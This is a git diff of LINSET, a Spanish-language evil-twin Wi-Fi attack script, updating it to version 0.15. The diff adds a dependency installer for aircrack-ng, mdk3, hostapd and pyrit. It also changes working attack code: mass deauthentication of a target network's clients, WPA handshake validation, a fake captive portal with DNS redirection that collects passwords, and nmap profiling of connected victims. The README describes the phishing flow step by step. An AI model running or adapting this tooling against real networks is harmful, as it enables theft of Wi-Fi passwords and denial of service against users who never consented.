diff --git a/Dependences.sh b/Dependences.sh new file mode 100755 index 0000000..dbf8e98 --- /dev/null +++ b/Dependences.sh @@ -0,0 +1,175 @@ +#!/bin/bash + +#################################### +## ## +## Script for install dependences ## +## ## +#################################### +echo "Updating system..." +sudo apt-get --yes update > /dev/null 2>&1 +############################## + +echo -ne "Aircrack-ng....." + if ! hash aircrack-ng 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install aircrack-ng > /dev/null 2>&1 + else + echo -e "! ok" + fi + sleep 0.025 + +############################## + +echo -ne "Awk....." + if ! hash awk 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install gawk > /dev/null 2>&1 + else + echo -e "! ok" + fi + sleep 0.025 +############################## + +echo -ne "Curl....." + if ! hash curl 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install curl > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Dhcpd....." + if ! hash dhcpd 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install isc-dhcp-server > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Hostapd....." + if ! hash hostapd 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install hostapd > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Lighttpd....." + if ! hash lighttpd 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install lighttpd > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Macchanger....." + if ! hash macchanger 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install macchanger > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Mdk3....." + if ! hash mdk3 2>/dev/null; then + echo " Installing ..." + wget https://raw.githubusercontent.com/Wikelx/mdk3-v6/master/mdk3-v6.tar.bz2 + tar -vxjf mdk3-v6.tar.bz2 + cd mdk3-v6 + sudo make + sudo make install + cd .. + sudo rm -r mdk3-v6.tar.bz2 + sudo rm -r mdk3-v6 + + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Nmap....." + if ! hash nmap 2>/dev/null; then + echo " Installing ..." + sudo apt-add-repository ppa:pi-rho/security -y #ppa Nmap + sudo apt-get --yes update > /dev/null 2>&1 + sudo apt-get install nmap > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Php5-cgi....." + if ! hash php-cgi 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install php5-cgi > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Pyrit....." + if ! hash pyrit 2>/dev/null; then + echo " Installing ..." + sudo apt-get --yes install pyrit > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Python....." + if ! hash python 2>/dev/null; then + echo " Installing ..." + sudo apt-get install libssl-dev openssl > /dev/null 2>&1 + cd /opt + sudo wget https://www.python.org/ftp/python/3.5.1/Python-3.5.1.tar.xz + sudo tar -Jxf Python-3.5.1.tar.xz > /dev/null 2>&1 + cd Python-3.5.1 + ./configure + sudo make + sudo make install + cd .. + sudo rm -r Python-3.5.1.tar.xz > /dev/null 2>&1 + sudo rm -r Python-3.4.1 > /dev/null 2>&1 + sudo ln -fs /opt/Python-3.5.1/python /usr/bin/python > /dev/null 2>&1 + cd ~/ > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Unzip....." + if ! hash unzip 2>/dev/null; then + echo " Installing ..." + sudo apt-get install unzip > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## + +echo -ne "Xterm....." + if ! hash xterm 2>/dev/null; then + echo " Installing ..." + sudo apt-get install xterm > /dev/null 2>&1 + else + echo -e " ! ok" + fi + sleep 0.025 +############################## +echo "Finish - Continue run linset" +exit \ No newline at end of file diff --git a/README.md b/README.md index faf785d..22d3994 100644 --- a/README.md +++ b/README.md @@ -20,12 +20,18 @@ How it works 10. It deauthentificate all users of the network, hoping to connect to FakeAP and enter the password. 11. The attack will stop after the correct password checking - Are necessary tengais installed dependencies, which `Linset` check and indicate whether they are installed or not. It is also preferable that you still keep the **patch for the negative channel**, because if not, you will have complications relizar to attack correctly +Script for install dependencies (Dependences.sh) +======= +Check the installation and if not automatically download and install the necessary software for use linset. +``` +$ chmod +x Dependences.sh +$ ./Dependences.sh +``` CHANGELOG ======= @@ -34,174 +40,13 @@ CHANGELOG ## ## #Fecha de Salida ## -########## 07-11-2013 LINSET 0.1b -## -## #Cambiado el Fakeweb a Inglés -## #Añadida funcion para quitar el modo monitor al salir -## #Arreglado Bucle para no colapsar la pantalla con información -## #Colocada opción de seleccionar otra red -## #Eliminado mensaje sobrante de iwconfig -## -########## 10-11-2013 LINSET 0.2 -## -## #Añadido Changelog -## #Reestructurado el codigo -## #Cambiada la posición de ventanas xterm -## #Eliminada creacion extra del archivo route -## #Movido pantalla de comprobacion de handshake a una ventana xterm -## #Añadido menu durante el ataque -## #Añadida comprobacion de dependencias -## -########## 22-11-2013 LINSET 0.3 -## -## #Arreglado mensaje de Handshake (no se mostraba bien) -## #Añadida interface de routers Telefonica y Jazztel (Xavi y Zyxel) -## #Fix cuando se usaba canales especificos (exit inesperado) -## #Mejorado DEBUG (function_clear y HOLD) -## #Migración de airbase-ng a hostapd -## #Reestructurado mas codigo -## #Añadido header -## #Añadida funcion para eliminar interfaces en modo monitor sobrantes -## -########## 30-11-2013 LINSET 0.4 -## -## #Agregado soporte a airbase-ng junto a hostapd -## #Capacidad para comprobar pass sin handshake (modo Airlin" -## #Arregladas problemas con variables -## #Fix espacio Channel -## #Eliminada seleccion con multiples tarjetas de red -## #Arreglado error sintactico HTML de las interfaces Xavi -## #Implementada interface Zyxel (de routers de Telefonica también) -## -########## 07-12-2013 LINSET 0.5 -## -## #Arreglado bug que impide usar mas de una interface -## #Migración de iwconfig a airmon-ng -## #Añadida interface HomeStation (Telefonica) -## #Arregladas llamadas PHP a error2.html inexistente -## #Arreglado bug que entraba en seleccion de Objetivos sin que se haya creado el CSV correspondiente -## #Opcion Salir en el menu de seleccion de webinterfaces -## #Arreglado bug que entraba en seleccion de Clientes sin que los haya -## #Arreglado bug que entraba en seleccion de Canal sin que haya interface valida seleccionada -## -########## 11-12-2013 LINSET 0.6 -## -## #Bug al realizar deauth especifico sin que haya airodump en marcha -## #Modificadas variables que gestionan los CSV -## #Modificada estetica a la hora de seleccionar objetivo -## #Añadidos colores a los menus -## #Modificado funcionamiento interno de seleccion de opciones -## #Arreglado bug de variables en la comprobacion de dependencias -## #Añadida dependencia para ser root -## -########## 15-12-2013 LINSET 0.7 -## -## #Añadido intro -## #Mejoradas variables de colores -## #Añadida interface de los routers Compal Broadband Networks (ONOXXXX) -## #Mejorada la gestion de la variable de Host_ENC -## #Arreglado bug que entraba en modo de FakeAP elegiendo una opcion inexistente -## #Modificado nombre de HomeStation a ADB Broadband (según su MAC) -## #Agregada licencia GPL v3 -## -########## 27-12-2013 LINSET 0.8 -## -## #Modificada comprobación de permisos para mostrar todo antes de salir -## #Añadida funcion para matar software que use el puerto 80 -## #Agregado dhcpd a los requisitos -## #Cambiado titulo de dependecia de PHP (php5-cgi) -## #Modificado parametro deauth para PC's sin el kernel parcheado -## #Añadida funcion para matar software que use el puerto 53 -## #Funcion para remontar los drivers por si se estaba usando la interface wireless -## #Modificada pantalla que comprueba el handshake (mas info) y mejoradas las variables -## #Mejorado menu de comprobacion de password con mas información -## #Añadida lista de clientes que se muestran en el menu de comprobacion de password -## #Cambiado ruta de guardado de password al $HOME -## #Reestructuracion completa del codigo para mejor compresion/busqueda -## #El intro no aparecerá si estas en modo desarrollador -## #No se cerrará el escaneo cuando se compruebe el handshake -# -## #Agregada funcion faltante a la 0.8 inicial (me lo comi sin querer) -## -########## 03-01-2014 LINSET 0.9 -## -## #Funcion de limpieza si se cierra el script inesperadamente -## #Mejorada funcion de deteccion del driver -## #Modificadas variables que almacenaban las interfaces con nombres "wlan" y 'mon' para dar mas soporte a otros sistemass -## #La carpeta de trabajo se crea mas temprano para evitar posibles problemas -## #Añadida funcion para comprobar la ultima revision de LINSET -## #Autoactualizacion del script si detecta una version mas nueva de si mismo -## #Backup del script tras la actualizacion por si surgen problemas -## #Fix Menu de tipo de Desautentificacion (no se ve lo que se escribe) -## #Eliminada funcion handshakecheck del background -## #Eliminado mensaje de clientes.txt (problema devido a handcheck) -## #Bug que no mostraba correctamente los clientes conectados -## -########## 19-01-2014 LINSET 0.10 -## -## #Agregado curl a las dependencias -## #Bug que no mostraba bien la lista de los clientes -## #Eliminado cuadrado en movimiento por cada sleep que se hacia en la ventana de comprobacion de handshake -## #Mejorada la comunicacion entre PHP y checkhandshake (ya no funciona por tiempos) -## #Cambiada ruta de trabajo de LINSET por defecto -## #Bug wpa_passphrase y wpa_supplicant no se cerraban tras concluir el ataque -## #Suprimidas de forma indefinida todas las interfaces web hasta ahora por motivos de copyright -## #Integrada interface web neutra basada en JQM -## -########## 29-01-2014 LINSET 0.11 -## -## #Mejorada la comprobacion de actualizaciones (punto de partida desde la version del script actual) -## #Modificada url de comprobacion -## #Bug mensaje de root privilegies (seguia con el proceso) -## #Modificado orden de inicio (primero comprueba las dependencias) -## #Mejorada interface web -## #Agregada dependencia unzip -## #Bug al seleccionar una interface que no existe -## #Fix variable $privacy -## #Modificaciones leves de interface web -## #Adaptada interface para multiples idiomas -## #Añadido idioma Español -## #Añadido idioma Italiano -## -########## 18-02-2014 LINSET 0.12 -## -## #Tarjetas con chipset 8187 pasaran dietctamente al menu de airbase-ng -## #Mensaje javascript adaptado según el idioma -## #Fix variable revision del backup -## #Bug en busqueda infinita de actualizaciones -## #Añadida restauracion de tput a la limpieza del script -## #Cerrar aplicaciones por medio del PID para evitar problemas -## #Añadido mdk3 a dependencias -## #Añadida desautenticacion por mdk3 al AP -## #Organizacion de codigo -## #Mejorada la busqueda de actualizaciones (casi directa) -## #Cambiada ruta de guardado del backup -## -########## 21-03-2014 LINSET 0.13 -## -## #Ampliado tiempo de espera antes de detener el atque -## #Corregido bug al hacer backup -## #Añadido reinicio de NetworkManager para Wifislax 4.8 -## #Desautentificacion masiva se hace exclusivamente con mdk3 -## #Fallo al reiniciar networkmanager cuando acaba el ataque -## #Fix cuando se autocierra linset despues de acabar el ataque -## #Añadido pyrit a dependecias -## #Funcion de comprobacion estricta del handshake -## #Eliminadas dependencias inecesarias -## #Mayor desplazamiento por los menus -## #Añadido lenguaje Frances -## #Añadido lenguaje Portugues -## -########## 16-06-2014 LINSET 0.14 +########## 31-10-2014 LINSET 0.15 **last version** ## -## #Info del estado del handshake en captura -## #Redirigido .cap para evitar salida de error de pyrit -## #Capacidad para usar handshake ya capturado previamente -## #Reconfiguradas liberias de jQuerry -## #Arreglado bug de URL's complejas -## #Desautentificar masivamente a varios MAC con igual ESSID -## #Manipaular .cap complejos para usar el handshake del objetivo -## #Invertido menu de comprobacion de handshake +## #Mas info a la hora de elegir una interfaz wireless +## #Capacidad de intentar confirmar handshake local con aircrack-ng +## #Añadido SIGHUP +## #Arreglado problema de desautentificaciones mdk3 +## #Mejorado contador de tiempo ## ########## ``` diff --git a/linset b/linset old mode 100644 new mode 100755 index 5234910..de8b7a8 --- a/linset +++ b/linset @@ -10,7 +10,7 @@ ################################################################# # # # # -*- ENCODING: UTF-8 -*- # -# Este script es software libre. Puede redistribuirlo y/o # +# Este script es software libre. Puede redistribuirlo y/o # # modificar-lo bajo los términos de la Licencia Pública General # # de GNU según es publicada por la Free Software Foundation, # # bien de la versión 3 de dicha Licencia o bien (según su # @@ -202,6 +202,18 @@ ## #Desautentificar masivamente a varios MAC con igual ESSID ## #Manipaular .cap complejos para usar el handshake del objetivo ## #Invertido menu de comprobacion de handshake +## #Cmabiado savekey.php a check.php +## #Regla lighttpd para redirigir www.domain.com a domain.com +## #Fix para mostrar clientes activos en directo +## #Agregado nmap a las dependencias +## +########## 31-10-2014 LINSET 0.15 +## +## #Mas info a la hora de elegir una interfaz wireless +## #Capacidad de intentar confirmar handshake local con aircrack-ng +## #Añadido SIGHUP +## #Arreglado problema de desautentificaciones mdk3 +## #Mejorado contador de tiempo ## ########## clear @@ -215,9 +227,9 @@ DUMP_PATH="/tmp/TMPlinset" # Numero de desautentificaciones DEAUTHTIME="8" # Numero de revision -revision=35 +revision=38 # Numero de version -version=0.14 +version=0.15 # Rango de IP que se usaran en DHCP IP=192.168.1.1 # Crea variable de de una red a partir del Gateway @@ -291,7 +303,7 @@ function err_report { # Si se cierra el script inesperadamente, ejecutar la funcion -trap exitmode SIGINT +trap exitmode SIGINT SIGHUP # Funcion que limpia las interfaces y sale function exitmode { @@ -572,6 +584,15 @@ function checkdependences { fi sleep 0.025 + echo -ne "Nmap............" + if ! [ -f /usr/bin/nmap ]; then + echo -e "\e[1;31mNot installed"$rescolor"" + salir=1 + else + echo -e "\e[1;32mOK!"$rescolor"" + fi + sleep 0.025 + echo -ne "Php5-cgi........" if ! [ -f /usr/bin/php-cgi ]; then echo -e "\e[1;31mNot installed"$rescolor"" @@ -687,7 +708,7 @@ fi function infoap { Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | awk '{ print $5,$6,$7 }'` + Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` echo "INFO AP OBJETIVO" echo echo -e " "$verde"SSID"$rescolor" = $Host_SSID / $Host_ENC" @@ -812,7 +833,7 @@ function setinterface { done # Crea una variable con la lista interfaces de red fisicas - readarray -t wirelessifaces < <(airmon-ng |grep "-" | awk '{print $1}') + readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) INTERFACESNUMBER=`airmon-ng| grep -c "-"` echo @@ -837,7 +858,7 @@ function setinterface { echo -n "#? " read line - PREWIFI=${wirelessifaces[$line]} + PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then conditional_clear @@ -1105,9 +1126,28 @@ function handshakelocation { cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap webinterface else - echo "Bad handshake" + echo "Handshake incompleto." + echo sleep 4 - handshakelocation + echo "Puede probar suerte con aircrack-ng, ya que es mas permisivo..." + echo "Desea probar con aircrack-ng en vez de pyrit para comprobar el handshake? [ ENTER = NO ]" + echo + echo -n "Respuesta: " + echo -ne "$rojo" + read handshakeloc_aircrack + echo -ne "$rescolor" + if [ "$handshakeloc_aircrack" = "" ]; then + handshakelocation + else + if aircrack-ng $handshakeloc | grep -q "1 handshake"; then + cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap + webinterface + else + echo "El handshake es corrupto" + sleep 4 + handshakelocation + fi + fi fi else echo -e "${rojo}Error$rescolor!" @@ -1141,8 +1181,8 @@ function deauthforce { echo "TIPO DE COMPROBACION DEL HANDSHAKE" echo " " - echo -e " "$verde"1)"$rescolor" Normal (Posibilidades de fallo)" - echo -e " "$verde"2)"$rescolor" Estricto" + echo -e " "$verde"1)"$rescolor" aircrack-ng (Posibilidades de fallo)" + echo -e " "$verde"2)"$rescolor" pyrit" echo -e " "$verde"3)"$rescolor" Atras" echo " " echo -n " #> " @@ -1505,7 +1545,7 @@ if (file_get_contents(\"\$intento\") == 1) { sleep(1); } -?>" > $DUMP_PATH/data/savekey.php +?>" > $DUMP_PATH/data/check.php # Se crea el config del servidor DHCP echo "authoritative; @@ -1561,6 +1601,12 @@ server.error-handler-404 = \"/\" static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) index-file.names = ( \"index.htm\" ) + +#Redirect www.domain.com to domain.com +\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { +url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) +} + " >$DUMP_PATH/lighttpd.conf # Script (no es mio) que redirige todas las peticiones del DNS a la puerta de enlace (nuestro PC) @@ -1677,7 +1723,7 @@ function attack { killall aireplay-ng &> $linset_output_device killall mdk3 &> $linset_output_device - echo "$(cat $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt + echo "$(strings $DUMP_PATH/dump-02.csv | cut -d "," -f1,14 | grep -h "$Host_SSID" | cut -d "," -f1)" >$DUMP_PATH/mdk3.txt xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Desautentificando con mdk3 a todos de $Host_SSID" -e mdk3 $WIFI_MONITOR d -b $DUMP_PATH/mdk3.txt -c $Host_CHAN & xterm -hold $TOPRIGHT -title "Esperando la pass" -e $DUMP_PATH/handcheck & @@ -1717,7 +1763,8 @@ function handshakecheck { minutos=0 horas=0 i=0 - + timestamp=\$(date +%s) + while true; do segundos=\$i @@ -1776,7 +1823,7 @@ function handshakecheck { ">>$DUMP_PATH/handcheck fi - echo "readarray -t CLIENTESDHCP < <(cat $DUMP_PATH/clientes.txt | grep \"DHCPACK on\"| awk '!x[\$0]++' ) + echo "readarray -t CLIENTESDHCP < <(nmap -sP -oG - $RANG_IP.100-110 2>&1 | grep Host ) echo echo -e \" PUNTO DE ACCESO:\" @@ -1786,21 +1833,36 @@ function handshakecheck { echo -e \" Fabricante......: "$verde"$Host_MAC_MODEL"$rescolor"\" echo -e \" Tiempo activo...: "$gris"\$ih\$horas:\$im\$minutos:\$is\$segundos"$rescolor"\" echo -e \" Intentos........: "$rojo"\$(cat $DUMP_PATH/hit.txt)"$rescolor"\" - echo -e \" Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | awk '!x[\$0]++' | wc -l)"$rescolor"\" + echo -e \" Clientes........: "$azul"\$(cat $DUMP_PATH/clientes.txt | grep DHCPACK | sort| uniq | wc -l)"$rescolor"\" echo - echo -e \" CLIENTES:\" + echo -e \" CLIENTES ACTIVOS:\" x=0 - for line in \"\${CLIENTESDHCP[@]}\"; do + for cliente in \"\${CLIENTESDHCP[@]}\"; do x=\$((\$x+1)) - echo -e \" "$verde"\$x) "$rojo"\$(echo \$line| cut -d \" \" -f 3) "$amarillo"\$(echo \$line| cut -d \" \" -f 5) "$verde"\$(echo \$line| cut -d \" \" -f 6)"$rescolor"\" + CLIENTE_IP=\$(echo \$cliente| cut -d \" \" -f2) + CLIENTE_MAC=\$(nmap -sP \$CLIENTE_IP 2>&1 | grep -i mac | cut -d \" \" -f3 | tr [:upper:] [:lower:]) + + if [ \"\$(echo \$CLIENTE_MAC| wc -m)\" != \"18\" ]; then + CLIENTE_MAC=\"xx:xx:xx:xx:xx:xx\" + fi + + CLIENTE_FABRICANTE=\$(macchanger -l | grep \"\$(echo \"\$CLIENTE_MAC\" | cut -d \":\" -f -3)\" | cut -d \" \" -f 5-) + + if echo \$CLIENTE_MAC| grep -q x; then + CLIENTE_FABRICANTE=\"unknown\" + fi + + CLIENTE_HOSTNAME=\$(echo \$cliente| cut -d \" \" -f 3 | cut -d \"(\" -f2 | cut -d \")\" -f1) + + echo -e \" $verde\$x) $rojo\$CLIENTE_IP $amarillo\$CLIENTE_MAC $rescolor($azul\$CLIENTE_FABRICANTE$rescolor) $verde\$CLIENTE_HOSTNAME$rescolor\" done echo -ne \"\033[K\033[u\"">>$DUMP_PATH/handcheck if [ $authmode = "handshake" ]; then - echo "let i=\$i+1 + echo "let i=\$(date +%s)-\$timestamp sleep 1">>$DUMP_PATH/handcheck elif [ $authmode = "wpa_supplicant" ]; then @@ -4741,7 +4803,7 @@ CwABBAAAAAAEAAAAAFBLBQYAAAAAAwADABIBAAAKVwIAAAA=
-
+
ESSID: